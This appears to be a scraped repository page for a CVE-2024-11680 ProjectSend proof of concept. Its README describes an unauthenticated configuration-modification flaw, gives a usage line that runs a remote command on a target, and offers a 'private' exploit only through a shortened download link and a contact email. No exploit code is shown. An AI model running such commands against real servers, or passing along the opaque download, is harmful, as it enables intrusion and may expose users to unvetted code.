CVE-2024-11680 PoC — ProjectSend Unauthenticated Configuration Modification

Source

Associated Vulnerability

Description

CVE-2024-11680: Improper Authentication (CWE-287)

Readme

# CVE-2024-11680: Improper Authentication (CWE-287)


## Overview

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Remote, unauthenticated attackers can exploit this flaw by sending crafted HTTP requests to options.php, enabling unauthorized modification of the application's configuration.


## Details
+ **CVE ID:** CVE-2024-11680
+ **Published:** 2024-11-26
+ **Impact:** Critical
+ **Exploit Availability:** Not public, only private.
+ **CVSS:** 9.8


## Vulnerability Description

Successful exploitation allows attackers to create accounts, upload webshells, and embed malicious JavaScript. This vulnerability has a high impact on confidentiality, integrity, and availability of the affected system. The attack vector is network-based, requires no user interaction, and can be executed with low attack complexity by an unauthenticated attacker.


## Affected Versions

**ProjectSend versions prior to r1720**


## Usage
```
python exploit.py -h 10.10.10.10 -c 'uname -a'
```

## Contact
For inquiries, please contact famixcm@thesecure.biz

## Exploit
**[Download Here](https://bit.ly/49baipg)**

File Snapshot

 [4.0K]  /data/pocs/db578f6cce832be28db11768bb18d8b79f22fa4f
└── [1.1K]  README.md

0 directories, 1 file

Remarks